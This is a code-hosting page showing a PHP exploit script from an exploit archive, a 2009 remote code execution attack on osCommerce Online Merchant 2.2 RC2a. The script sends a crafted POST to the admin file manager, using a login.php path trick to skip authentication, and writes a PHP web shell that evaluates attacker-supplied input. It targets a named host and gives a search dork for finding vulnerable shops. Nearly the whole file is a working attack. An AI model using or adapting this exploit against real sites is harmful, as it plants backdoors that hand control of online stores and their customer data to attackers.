PageRenderTime 56ms CodeModel.GetById 23ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/9556.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 37 lines | 18 code | 0 blank | 19 comment | 0 complexity | 42ac25357275e00be35843823a9dd2eb MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. print_r('
  3. +---------------------------------------------------------------------------+
  4. osCommerce Online Merchant 2.2 RC2a RCE Exploit
  5. by Flyh4t
  6. mail: phpsec@hotmail.com
  7. team: http://www.wolvez.org
  8. dork: Powered by osCommerce
  9. Gr44tz to q1ur3n ãpuret_tãukãtoby57 and all the other members of WST
  10. Thx to exploits of blackh
  11. +---------------------------------------------------------------------------+
  12. ');
  13. $host ='democn.51osc.com';
  14. $path = '/';
  15. $admin_path = 'admin/';
  16. $shellcode = "filename=fly.php&file_contents=test<?php%20@eval(\$_POST[aifly]);?>";
  17. $message="POST ".$path.$admin_path."file_manager.php/login.php?action=save HTTP/1.1\r\n";
  18. $message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
  19. $message.="Accept-Language: zh-cn\r\n";
  20. $message.="Content-Type: application/x-www-form-urlencoded\r\n";
  21. $message.="Accept-Encoding: gzip, deflate\r\n";
  22. $message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
  23. $message.="Host: $host\r\n";
  24. $message.="Content-Length: ".strlen($shellcode)."\r\n";
  25. $message.="Connection: Close\r\n\r\n";
  26. $message.=$shellcode;
  27. $fd = fsockopen($host,'80');
  28. if(!$fd)
  29. {
  30. echo '[~]No response from'.$host;
  31. die;
  32. }
  33. fputs($fd,$message);
  34. echo ("[+]Go to see U webshell : $host/fly.php");
  35. ?>
  36. # milw0rm.com [2009-08-31]